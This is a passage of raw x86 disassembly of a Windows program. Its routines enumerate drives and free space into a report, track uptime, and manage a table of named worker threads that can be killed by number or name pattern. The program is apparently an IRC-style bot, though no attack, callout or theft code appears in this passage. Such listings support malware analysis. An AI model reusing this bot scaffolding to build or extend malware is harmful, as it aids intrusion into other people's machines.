var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, dword_419398
		mov	[ebp+var_1C], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0

loc_408EA4:				; CODE XREF: sub_408E8E+95j
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_4170CC	; GetDriveTypeA
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_408F14
		cmp	[ebp+var_10], 1
		jz	short loc_408F14
		cmp	[ebp+var_10], 5
		jz	short loc_408EE1
		cmp	[ebp+var_10], 2
		jz	short loc_408EE1
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_4170C8	; GetDiskFreeSpaceExA
		jmp	short loc_408EF1
; ---------------------------------------------------------------------------

loc_408EE1:				; CODE XREF: sub_408E8E+33j
					; sub_408E8E+39j
		push	8
		push	0
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch

loc_408EF1:				; CODE XREF: sub_408E8E+51j
		push	0
		push	100000h
		push	[ebp+var_20]
		push	[ebp+var_24]
		call	sub_416C90
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+var_C]
		add	ecx, eax
		mov	[ebp+var_C], ecx

loc_408F14:				; CODE XREF: sub_408E8E+27j
					; sub_408E8E+2Dj
		mov	al, byte ptr [ebp+var_1C]
		add	al, 1
		mov	byte ptr [ebp+var_1C], al
		movsx	eax, byte ptr [ebp+var_1C]
		cmp	eax, 5Ah
		jnz	loc_408EA4
		mov	eax, [ebp+var_C]
		leave
		retn
sub_408E8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408F2E	proc near		; DATA XREF: sub_4091E2+35o

var_5DC		= dword	ptr -5DCh
var_5D8		= dword	ptr -5D8h
var_5D4		= dword	ptr -5D4h
var_5D0		= byte ptr -5D0h
var_42C		= dword	ptr -42Ch
var_428		= dword	ptr -428h
var_424		= dword	ptr -424h
var_420		= byte ptr -420h
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= byte ptr -40Ch
var_404		= byte ptr -404h
var_3EF		= byte ptr -3EFh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5DCh
		push	esi
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_5D4]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	5
		pop	ecx
		mov	esi, offset aDriveInformati ; "Drive information - "
		lea	edi, [ebp+var_404]
		rep movsd
		movsb
		mov	ecx, 0FAh
		xor	eax, eax
		lea	edi, [ebp+var_3EF]
		rep stosd
		stosw
		stosb
		mov	eax, dword_419398
		mov	[ebp+var_424], eax
		and	[ebp+var_418], 0
		and	[ebp+var_5D8], 0
		and	[ebp+var_414], 0
		mov	[ebp+var_410], 1

loc_408FA6:				; CODE XREF: sub_408F2E+23Bj
		lea	eax, [ebp+var_424]
		push	eax
		call	dword_4170CC	; GetDriveTypeA
		mov	[ebp+var_5DC], eax
		cmp	[ebp+var_5DC], 0
		jz	loc_409151
		cmp	[ebp+var_5DC], 1
		jz	loc_409151
		cmp	[ebp+var_5DC], 2
		jnz	short loc_408FE5
		mov	[ebp+var_4], offset aRemovable ; "removable"
		jmp	short loc_409034
; ---------------------------------------------------------------------------

loc_408FE5:				; CODE XREF: sub_408F2E+ACj
		cmp	[ebp+var_5DC], 3
		jnz	short loc_408FF7
		mov	[ebp+var_4], offset aFixed ; "fixed"
		jmp	short loc_409034
; ---------------------------------------------------------------------------

loc_408FF7:				; CODE XREF: sub_408F2E+BEj
		cmp	[ebp+var_5DC], 4
		jnz	short loc_409009
		mov	[ebp+var_4], offset aRemote ; "remote"
		jmp	short loc_409034
; ---------------------------------------------------------------------------

loc_409009:				; CODE XREF: sub_408F2E+D0j
		cmp	[ebp+var_5DC], 5
		jnz	short loc_40901B
		mov	[ebp+var_4], offset aCdRom ; "cd-rom"
		jmp	short loc_409034
; ---------------------------------------------------------------------------

loc_40901B:				; CODE XREF: sub_408F2E+E2j
		cmp	[ebp+var_5DC], 6
		jnz	short loc_40902D
		mov	[ebp+var_4], offset aRamdisk ; "ramdisk"
		jmp	short loc_409034
; ---------------------------------------------------------------------------

loc_40902D:				; CODE XREF: sub_408F2E+F4j
		mov	[ebp+var_4], offset aUnknown ; "unknown"

loc_409034:				; CODE XREF: sub_408F2E+B5j
					; sub_408F2E+C7j ...
		cmp	[ebp+var_5DC], 5
		jz	short loc_40906A
		cmp	[ebp+var_5DC], 2
		jz	short loc_40906A
		lea	eax, [ebp+var_42C]
		push	eax
		lea	eax, [ebp+var_420]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		lea	eax, [ebp+var_424]
		push	eax
		call	dword_4170C8	; GetDiskFreeSpaceExA
		jmp	short loc_40907D
; ---------------------------------------------------------------------------

loc_40906A:				; CODE XREF: sub_408F2E+10Dj
					; sub_408F2E+116j
		push	8
		push	0
		lea	eax, [ebp+var_42C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch

loc_40907D:				; CODE XREF: sub_408F2E+13Aj
		push	0
		push	100000h
		push	[ebp+var_428]
		push	[ebp+var_42C]
		call	sub_416C90
		mov	[ebp+var_42C], eax
		mov	[ebp+var_428], edx
		cmp	[ebp+var_410], 0
		jnz	short loc_4090BF
		push	offset dword_419404
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		jmp	short loc_4090C6
; ---------------------------------------------------------------------------

loc_4090BF:				; CODE XREF: sub_408F2E+17Aj
		and	[ebp+var_410], 0

loc_4090C6:				; CODE XREF: sub_408F2E+18Fj
		mov	eax, [ebp+var_42C]
		or	eax, [ebp+var_428]
		test	eax, eax
		jz	short loc_40910A
		push	[ebp+var_428]
		push	[ebp+var_42C]
		push	[ebp+var_4]
		lea	eax, [ebp+var_424]
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	offset dword_4193E4
		lea	eax, [ebp+var_404]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 1Ch
		jmp	short loc_409130
; ---------------------------------------------------------------------------

loc_40910A:				; CODE XREF: sub_408F2E+1A6j
		push	[ebp+var_4]
		lea	eax, [ebp+var_424]
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	offset dword_4193D4
		lea	eax, [ebp+var_404]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 14h

loc_409130:				; CODE XREF: sub_408F2E+1DAj
		mov	eax, [ebp+var_42C]
		mov	ecx, [ebp+var_414]
		add	ecx, eax
		mov	[ebp+var_414], ecx
		mov	eax, [ebp+var_5D8]
		inc	eax
		mov	[ebp+var_5D8], eax

loc_409151:				; CODE XREF: sub_408F2E+92j
					; sub_408F2E+9Fj
		mov	al, byte ptr [ebp+var_424]
		add	al, 1
		mov	byte ptr [ebp+var_424],	al
		movsx	eax, byte ptr [ebp+var_424]
		cmp	eax, 5Ah
		jnz	loc_408FA6
		cmp	[ebp+var_5D8], 0
		jz	short loc_40918B
		push	offset dword_419404
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx

loc_40918B:				; CODE XREF: sub_408F2E+248j
		push	[ebp+var_414]
		push	[ebp+var_5D8]
		lea	eax, [ebp+var_404]
		push	eax
		push	offset dword_41939C
		lea	eax, [ebp+var_404]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 14h
		lea	eax, [ebp+var_404]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_5D0]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_5D4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		pop	edi
		pop	esi
		leave
		retn	4
sub_408F2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4091E2	proc near		; CODE XREF: sub_40A9CF+1C61p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4091FC
		jmp	short locret_409224
; ---------------------------------------------------------------------------

loc_4091FC:				; CODE XREF: sub_4091E2+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aDriveinfoThrea ; "Driveinfo thread"
		push	0
		push	[ebp+var_4]
		push	offset sub_408F2E
		call	sub_4095A4
		add	esp, 10h

locret_409224:				; CODE XREF: sub_4091E2+18j
		leave
		retn
sub_4091E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409226	proc near		; CODE XREF: sub_4167F1+215p

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_4170D8	; QueryPerformanceCounter
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_4170D4	; QueryPerformanceFrequency
		cmp	[ebp+var_4], 0
		jl	short loc_40928E
		jg	short loc_40924E
		cmp	[ebp+var_8], 0
		jbe	short loc_40928E

loc_40924E:				; CODE XREF: sub_409226+20j
		cmp	[ebp+var_C], 0
		jl	short loc_40928E
		jg	short loc_40925C
		cmp	[ebp+var_10], 0
		jbe	short loc_40928E

loc_40925C:				; CODE XREF: sub_409226+2Ej
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416D10
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_416CFE	; ceil
		pop	ecx
		pop	ecx
		call	sub_416CF8	; _ftol
		mov	dword_41E3A0, eax
		jmp	short locret_4092A2
; ---------------------------------------------------------------------------

loc_40928E:				; CODE XREF: sub_409226+1Ej
					; sub_409226+26j ...
		call	dword_4170D0	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_41E3A0, eax

locret_4092A2:				; CODE XREF: sub_409226+66j
		leave
		retn
sub_409226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4092A4	proc near		; CODE XREF: sub_4083AD+61p
					; sub_40A9CF+1CCAp ...

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_4170D8	; QueryPerformanceCounter
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_4170D4	; QueryPerformanceFrequency
		cmp	[ebp+var_4], 0
		jl	short loc_409307
		jg	short loc_4092CC
		cmp	[ebp+var_8], 0
		jbe	short loc_409307

loc_4092CC:				; CODE XREF: sub_4092A4+20j
		cmp	[ebp+var_C], 0
		jl	short loc_409307
		jg	short loc_4092DA
		cmp	[ebp+var_10], 0
		jbe	short loc_409307

loc_4092DA:				; CODE XREF: sub_4092A4+2Ej
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416D10
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_416CFE	; ceil
		pop	ecx
		pop	ecx
		call	sub_416CF8	; _ftol
		jmp	short locret_409316
; ---------------------------------------------------------------------------

loc_409307:				; CODE XREF: sub_4092A4+1Ej
					; sub_4092A4+26j ...
		call	dword_4170D0	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx

locret_409316:				; CODE XREF: sub_4092A4+61j
		leave
		retn
sub_4092A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409318	proc near		; CODE XREF: sub_408B30:loc_408BBCp
					; sub_40A9CF:loc_40C715p

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_4170D8	; QueryPerformanceCounter
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_4170D4	; QueryPerformanceFrequency
		cmp	[ebp+var_4], 0
		jl	short loc_409381
		jg	short loc_409340
		cmp	[ebp+var_8], 0
		jbe	short loc_409381

loc_409340:				; CODE XREF: sub_409318+20j
		cmp	[ebp+var_C], 0
		jl	short loc_409381
		jg	short loc_40934E
		cmp	[ebp+var_10], 0
		jbe	short loc_409381

loc_40934E:				; CODE XREF: sub_409318+2Ej
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416D10
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_416CFE	; ceil
		pop	ecx
		pop	ecx
		call	sub_416CF8	; _ftol
		sub	eax, dword_41E3A0
		jmp	short locret_40938D
; ---------------------------------------------------------------------------

loc_409381:				; CODE XREF: sub_409318+1Ej
					; sub_409318+26j ...
		call	dword_4170D0	; GetTickCount
		sub	eax, dword_41E3A0

locret_40938D:				; CODE XREF: sub_409318+67j
		leave
		retn
sub_409318	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40938F	proc near		; CODE XREF: sub_4167F1+D5p
		push	ebp
		mov	ebp, esp
		and	dword_41E3C0, 0
		push	1980h
		call	sub_416B46	; malloc
		pop	ecx
		mov	dword_41E3C8, eax
		push	offset dword_41E3A8
		call	sub_409C36
		pop	ecx
		pop	ebp
		retn
sub_40938F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4093B6	proc near		; DATA XREF: sub_409479+35o

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417278
		push	offset sub_416DBA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_20], 0
		and	[ebp+var_1C], 0
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		mov	[ebp+var_1C], eax
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	[ebp+var_20]
		call	dword_4170DC	; IsBadCodePtr
		test	eax, eax
		jz	short loc_409431
		cmp	dword_41DF08, 0
		jz	short loc_40942F
		push	[ebp+var_20]
		push	offset dword_419474
		push	offset dword_41DB88
		call	sub_40D4AB
		add	esp, 0Ch

loc_40942F:				; CODE XREF: sub_4093B6+62j
		jmp	short loc_409443
; ---------------------------------------------------------------------------

loc_409431:				; CODE XREF: sub_4093B6+59j
		push	[ebp+var_1C]
		call	[ebp+var_20]
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_24]
		jmp	short loc_409468
; ---------------------------------------------------------------------------

loc_409443:				; CODE XREF: sub_4093B6:loc_40942Fj
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_409466
; ---------------------------------------------------------------------------
		push	offset aBtg	; "btg"
		push	offset aThread	; "thread"
		push	[ebp+var_14]
		call	sub_40332B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh

loc_409466:				; CODE XREF: sub_4093B6+91j
		xor	eax, eax

loc_409468:				; CODE XREF: sub_4093B6+8Bj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4093B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409479	proc near		; CODE XREF: sub_40764D+14Ap
					; sub_409BF1+2Fp ...

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	8
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_409494
		xor	eax, eax
		jmp	short locret_4094E4
; ---------------------------------------------------------------------------

loc_409494:				; CODE XREF: sub_409479+15j
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_4]
		mov	[eax+4], ecx
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	[ebp+var_C]
		push	offset sub_4093B6
		push	20000h
		push	0
		call	sub_416DC0	; _beginthreadex
		add	esp, 18h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4094D9
		push	[ebp+var_4]
		call	dword_4170A4	; CloseHandle
		push	1
		pop	eax
		jmp	short locret_4094E4
; ---------------------------------------------------------------------------

loc_4094D9:				; CODE XREF: sub_409479+50j
		push	[ebp+var_C]
		call	sub_416B4C	; free
		pop	ecx
		xor	eax, eax

locret_4094E4:				; CODE XREF: sub_409479+19j
					; sub_409479+5Ej
		leave
		retn
sub_409479	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4094E6	proc near		; DATA XREF: sub_4095A4+159o

var_1A4		= dword	ptr -1A4h
var_1A0		= dword	ptr -1A0h
var_19C		= byte ptr -19Ch
var_19B		= byte ptr -19Bh
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417288
		push	offset sub_416DBA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 18Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	al, byte_41DF00
		mov	[ebp+var_19C], al
		push	60h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_19B]
		rep stosd
		stosw
		stosb
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax+10h]
		mov	[ebp+var_1A0], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		add	eax, 14h
		push	eax
		lea	eax, [ebp+var_19C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		call	dword ptr [eax+10h]
		mov	[ebp+var_1A4], eax
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_1A4]
		jmp	short loc_409593
; ---------------------------------------------------------------------------
		lea	eax, [ebp+var_19C]
		push	eax
		push	offset aThread	; "thread"
		push	[ebp+var_14]
		call	sub_40332B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		xor	eax, eax

loc_409593:				; CODE XREF: sub_4094E6+8Aj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4094E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4095A4	proc near		; CODE XREF: sub_4017AA+A2p
					; sub_401D6E+8Dp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	offset dword_41E3A8
		call	sub_409C6C
		pop	ecx
		cmp	dword_41E3C0, 10h
		jnz	short loc_4095D9
		push	[ebp+arg_4]
		call	sub_416B4C	; free
		pop	ecx
		push	offset dword_41E3A8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	locret_409761
; ---------------------------------------------------------------------------

loc_4095D9:				; CODE XREF: sub_4095A4+18j
		cmp	[ebp+arg_8], 0
		jz	short loc_409627
		and	[ebp+var_10], 0
		jmp	short loc_4095EC
; ---------------------------------------------------------------------------

loc_4095E5:				; CODE XREF: sub_4095A4:loc_409625j
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax

loc_4095EC:				; CODE XREF: sub_4095A4+3Fj
		cmp	[ebp+var_10], 10h
		jge	short loc_409627
		mov	eax, [ebp+var_10]
		imul	eax, 198h
		mov	ecx, dword_41E3C8
		mov	eax, [ecx+eax+10h]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_409625
		push	[ebp+arg_4]
		call	sub_416B4C	; free
		pop	ecx
		push	offset dword_41E3A8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	locret_409761
; ---------------------------------------------------------------------------

loc_409625:				; CODE XREF: sub_4095A4+64j
		jmp	short loc_4095E5
; ---------------------------------------------------------------------------

loc_409627:				; CODE XREF: sub_4095A4+39j
					; sub_4095A4+4Cj
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		jmp	short loc_409638
; ---------------------------------------------------------------------------

loc_409631:				; CODE XREF: sub_4095A4:loc_409672j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax

loc_409638:				; CODE XREF: sub_4095A4+8Bj
		cmp	[ebp+var_8], 10h
		jge	short loc_409674
		mov	eax, [ebp+var_8]
		imul	eax, 198h
		mov	ecx, dword_41E3C8
		cmp	dword ptr [ecx+eax+8], 0
		jnz	short loc_409672
		mov	eax, [ebp+var_8]
		imul	eax, 198h
		mov	ecx, dword_41E3C8
		add	ecx, eax
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		jmp	short loc_409674
; ---------------------------------------------------------------------------

loc_409672:				; CODE XREF: sub_4095A4+AEj
		jmp	short loc_409631
; ---------------------------------------------------------------------------

loc_409674:				; CODE XREF: sub_4095A4+98j
					; sub_4095A4+CCj
		cmp	[ebp+var_C], 0
		jnz	short loc_409695
		push	[ebp+arg_4]
		call	sub_416B4C	; free
		pop	ecx
		push	offset dword_41E3A8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	locret_409761
; ---------------------------------------------------------------------------

loc_409695:				; CODE XREF: sub_4095A4+D4j
		cmp	[ebp+arg_4], 0
		jz	short loc_4096A3
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx

loc_4096A3:				; CODE XREF: sub_4095A4+F5j
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	[eax+10h], ecx
		lea	eax, [ebp+arg_10]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_C]
		mov	eax, [ebp+var_C]
		add	eax, 14h
		push	eax
		call	sub_416DC6	; vsprintf
		add	esp, 0Ch
		and	[ebp+var_4], 0
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+4], 0
		mov	eax, dword_41E3C0
		inc	eax
		mov	dword_41E3C0, eax
		cmp	[ebp+arg_4], 0
		jz	short loc_4096EB
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], eax
		jmp	short loc_4096F1
; ---------------------------------------------------------------------------

loc_4096EB:				; CODE XREF: sub_4095A4+13Dj
		mov	eax, [ebp+var_C]
		mov	[ebp+var_14], eax

loc_4096F1:				; CODE XREF: sub_4095A4+145j
		mov	eax, [ebp+var_C]
		add	eax, 0Ch
		push	eax
		push	0
		push	[ebp+var_14]
		push	offset sub_4094E6
		push	0
		push	0
		call	sub_416DC0	; _beginthreadex
		add	esp, 18h
		mov	ecx, [ebp+var_C]
		mov	[ecx+8], eax
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_409753
		push	[ebp+arg_4]
		call	sub_416B4C	; free
		pop	ecx
		mov	eax, dword_41E3C0
		dec	eax
		mov	dword_41E3C0, eax
		push	198h
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	offset dword_41E3A8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	short locret_409761
; ---------------------------------------------------------------------------

loc_409753:				; CODE XREF: sub_4095A4+177j
		push	offset dword_41E3A8
		call	sub_409C7A
		pop	ecx
		push	1
		pop	eax

locret_409761:				; CODE XREF: sub_4095A4+30j
					; sub_4095A4+7Cj ...
		leave
		retn
sub_4095A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409763	proc near		; CODE XREF: sub_401244+73p
					; sub_401244+547p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	offset dword_41E3A8
		call	sub_409C6C
		pop	ecx
		mov	eax, dword_41E3C0
		dec	eax
		mov	dword_41E3C0, eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+8]
		call	dword_4170A4	; CloseHandle
		push	198h
		push	0
		push	[ebp+arg_0]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	offset dword_41E3A8
		call	sub_409C7A
		pop	ecx
		pop	ebp
		retn
sub_409763	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4097A7	proc near		; CODE XREF: sub_40A9CF+EBFp

var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 194h
		cmp	[ebp+arg_0], 0
		jnz	short loc_4097BB
		jmp	locret_4098F1
; ---------------------------------------------------------------------------

loc_4097BB:				; CODE XREF: sub_4097A7+Dj
		push	[ebp+arg_0]
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_409825
		push	[ebp+arg_0]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		push	offset dword_41E3A8
		call	sub_409C6C
		pop	ecx
		cmp	[ebp+var_4], 10h
		jnb	short loc_409815
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E3C8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_409815
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E3C8
		mov	dword ptr [ecx+eax+4], 1

loc_409815:				; CODE XREF: sub_4097A7+3Fj
					; sub_4097A7+55j
		push	offset dword_41E3A8
		call	sub_409C7A
		pop	ecx
		jmp	locret_4098F1
; ---------------------------------------------------------------------------

loc_409825:				; CODE XREF: sub_4097A7+22j
		push	[ebp+arg_0]
		push	offset aS	; "*%s*"
		push	185h
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 10h
		push	offset dword_41E3A8
		call	sub_409C6C
		pop	ecx
		mov	eax, dword_41E3C0
		mov	[ebp+var_8], eax
		and	[ebp+var_194], 0
		jmp	short loc_40986A
; ---------------------------------------------------------------------------

loc_40985D:				; CODE XREF: sub_4097A7:loc_4098E1j
		mov	eax, [ebp+var_194]
		inc	eax
		mov	[ebp+var_194], eax

loc_40986A:				; CODE XREF: sub_4097A7+B4j
		cmp	[ebp+var_194], 10h
		jnb	short loc_4098E6
		mov	eax, [ebp+var_194]
		imul	eax, 198h
		mov	ecx, dword_41E3C8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_4098E1
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_190]
		push	eax
		mov	eax, [ebp+var_194]
		imul	eax, 198h
		mov	ecx, dword_41E3C8
		lea	eax, [ecx+eax+14h]
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_4098D9
		mov	eax, [ebp+var_194]
		imul	eax, 198h
		mov	ecx, dword_41E3C8
		mov	dword ptr [ecx+eax+4], 1

loc_4098D9:				; CODE XREF: sub_4097A7+116j
		cmp	[ebp+var_8], 0
		jnz	short loc_4098E1
		jmp	short loc_4098E6
; ---------------------------------------------------------------------------

loc_4098E1:				; CODE XREF: sub_4097A7+E3j
					; sub_4097A7+136j
		jmp	loc_40985D
